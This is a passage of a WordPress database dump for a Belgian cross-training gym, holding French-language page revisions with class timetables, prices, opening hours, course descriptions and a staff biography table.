#eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:58:05', '2013-07-03 17:58:05', '', 11, 'http://www.crosstrainingcenter.be/?p=205', 0, 'revision', '', 0);
INSERT INTO `www_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(126, 1, '2013-06-16 14:39:01', '2013-06-16 14:39:01', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\nEn semaine&lt;br&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:39:01', '2013-06-16 14:39:01', '', 11, 'http://www.crosstrainingcenter.be/?p=126', 0, 'revision', '', 0),
(127, 1, '2013-06-16 14:44:31', '2013-06-16 14:44:31', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:44:31', '2013-06-16 14:44:31', '', 11, 'http://www.crosstrainingcenter.be/?p=127', 0, 'revision', '', 0),
(128, 1, '2013-05-24 14:36:30', '2013-05-24 14:36:30', 'blabla', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-3', '', '', '2013-05-24 14:36:30', '2013-05-24 14:36:30', '', 20, 'http://www.crosstrainingcenter.be/?p=128', 0, 'revision', '', 0),
(129, 1, '2013-06-16 14:50:56', '2013-06-16 14:50:56', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-4', '', '', '2013-06-16 14:50:56', '2013-06-16 14:50:56', '', 20, 'http://www.crosstrainingcenter.be/?p=129', 0, 'revision', '', 0),
(130, 1, '2013-06-16 14:55:43', '2013-06-16 14:55:43', '', 'rg', '', 'inherit', 'open', 'open', '', 'rg', '', '', '2013-06-16 14:55:43', '2013-06-16 14:55:43', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg', 0, 'attachment', 'image/jpeg', 0),
(131, 1, '2013-07-03 20:00:11', '2013-07-03 20:00:11', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\n&lt;h5&gt;Gérante\nCoatch\nDiététicienne&lt;/h5&gt;\n&lt;ul&gt;\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\n&lt;h5&gt;Fondateur Pierrard Sports\nFormateur coach\nCoach&lt;/h5&gt;\n&lt;ul&gt;\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\n&lt;h5&gt;Fondateur GLFE consulting\nFormateur coach\nCoach&lt;/h5&gt;\n&lt;ul&gt;\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; 